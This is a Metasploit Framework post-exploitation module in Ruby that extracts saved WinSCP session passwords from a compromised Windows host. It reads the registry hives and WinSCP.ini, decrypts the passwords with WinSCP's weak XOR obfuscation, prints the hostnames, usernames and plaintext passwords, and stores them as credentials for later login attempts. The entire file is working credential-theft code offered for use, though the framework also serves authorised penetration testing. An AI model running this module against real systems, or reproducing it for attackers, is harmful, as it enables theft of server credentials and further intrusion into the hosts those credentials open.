metasploit-framework/modules/post/windows/gather/credentials/winscp.rb

# post/windows/gather/enum_vnc_pw.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'rex/parser/ini'
require 'msf/core/auxiliary/report'

class Metasploit3 < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::File

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Windows Gather WinSCP Saved Password Extraction',
      'Description'   => %q{
        This module extracts weakly encrypted saved passwords from
        WinSCP. It searches for saved sessions in the Windows Registry
        and the WinSCP.ini file. It cannot decrypt passwords if a master
        password is used.
        },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'theLightCosine'],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ]
    ))
  end

  def get_reg
    # Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys.
    regexists = 0

    userhives=load_missing_hives()
    userhives.each do |hive|
      next if hive['HKU'] == nil
      master_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security"
      masterpw = registry_getvaldata(master_key, 'UseMasterPassword')

      #No WinSCP Keys here
      next if masterpw.nil?

      regexists = 1
      if masterpw == 1
        # Master Password used to add AES256 encryption to stored password
        print_error("User #{hive['HKU']} is using a Master Password, cannot recover passwords")
        next

      else
        # Take a look at any saved sessions
        savedpwds = 0
        session_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions"
        saved_sessions = registry_enumkeys(session_key)
        next if saved_sessions.nil?
        saved_sessions.each do |saved_session|
          # Skip default settings entry
          next if saved_session == "Default%20Settings"

          active_session = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{saved_session}"
          password = registry_getvaldata(active_session, 'Password')
          # There is no password saved for this session, so we skip it
          next if password == nil

          savedpwds = 1
          portnum = registry_getvaldata(active_session, 'PortNumber')
          if portnum == nil
            # If no explicit port number entry exists, it is set to default port of tcp22
            portnum = 22
          end

          winscp_store_config(
            'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "",
            'HostName' => registry_getvaldata(active_session, 'HostName') || "",
            'Password' => password,
            'PortNumber' => portnum,
            'UserName' => registry_getvaldata(active_session, 'UserName') || "",
          )

        end

        if savedpwds == 0
          print_status("No Saved Passwords found in the Session Registry Keys")
        end
      end
    end

    if regexists == 0
      print_status("No WinSCP Registry Keys found!")
    end
    unload_our_hives(userhives)

  end


  def get_ini(filename)
    print_error("Looking for #{filename}.")
    # opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
    parse = read_file(filename)
    if parse.nil?
      print_error("WinSCP.ini file NOT found...")
      return
    end

    print_status("Found WinSCP.ini file...")
    ini = Rex::Parser::Ini.from_s(parse)

    # if a Master Password is in use we give up
    if ini['Configuration\\Security']['MasterPassword'] == '1'
      print_status("Master Password Set, unable to recover saved passwords!")
      return nil
    end

    # Runs through each group in the ini file looking for all of the Sessions
    ini.each_key do |group|
      if group.include?('Sessions') && ini[group].has_key?('Password')
        winscp_store_config(
          'FSProtocol' => ini[group]['FSProtocol'],
          'HostName' => ini[group]['HostName'],
          'Password' => ini[group]['Password'],
          'PortNumber' => ini[group]['PortNumber'] || 22,
          'UserName' => ini[group]['UserName'],
        )

      end
    end
  end

  def decrypt_next_char

    pwalg_simple_magic = 0xA3
    pwalg_simple_string = "0123456789ABCDEF"

    # Decrypts the next character in the password sequence
    if @password.length > 0
      # Takes the first char from the encrypted password and finds its position in the
      # pre-defined string, then left shifts the returned index by 4 bits
      unpack1 = pwalg_simple_string.index(@password[0,1])
      unpack1 = unpack1 << 4

      # Takes the second char from the encrypted password and finds its position in the
      # pre-defined string
      unpack2 = pwalg_simple_string.index(@password[1,1])
      # Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
      result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
      # Strips the first two chars off and returns our result
      @password = @password[2,@password.length]
      return result
    end

  end



  def decrypt_password(pwd, key)
    pwalg_simple_flag = 0xFF
    @password = pwd
    flag = decrypt_next_char()

    if flag == pwalg_simple_flag
      decrypt_next_char()
      length = decrypt_next_char()
    else
      length = flag
    end
    ldel = (decrypt_next_char())*2
    @password = @password[ldel,@password.length]

    result = ""
    length.times do
      result << decrypt_next_char().chr
    end

    if flag == pwalg_simple_flag
      result = result[key.length, result.length]
    end

    result
  end

  def run
    print_status("Looking for WinSCP.ini file storage...")
    get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
    print_status("Looking for Registry Storage...")
    get_reg()
    print_status("Done!")
  end

  def winscp_store_config(config)
    host = config['HostName']
    pass = config['Password']
    portnum = config['PortNumber']
    proto = config['FSProtocol']
    user = config['UserName']

    sname = case proto.to_i
            when 5 then "FTP"
            when 0 then "SSH"
            end

    # Decrypt our password, and report on results
    plaintext = decrypt_password(pass, user+host)
    print_status("Host: #{host}  Port: #{portnum} Protocol: #{sname}  Username: #{user}  Password: #{plaintext}")

    service_data = {
      # XXX This resolution should happen on the victim side instead
      address: ::Rex::Socket.getaddress(host),
      port: portnum,
      service_name: sname,
      protocol: 'tcp',
      workspace_id: myworkspace_id,
    }

    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: self.refname,
      private_type: :password,
      private_data: plaintext,
      username: user
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

end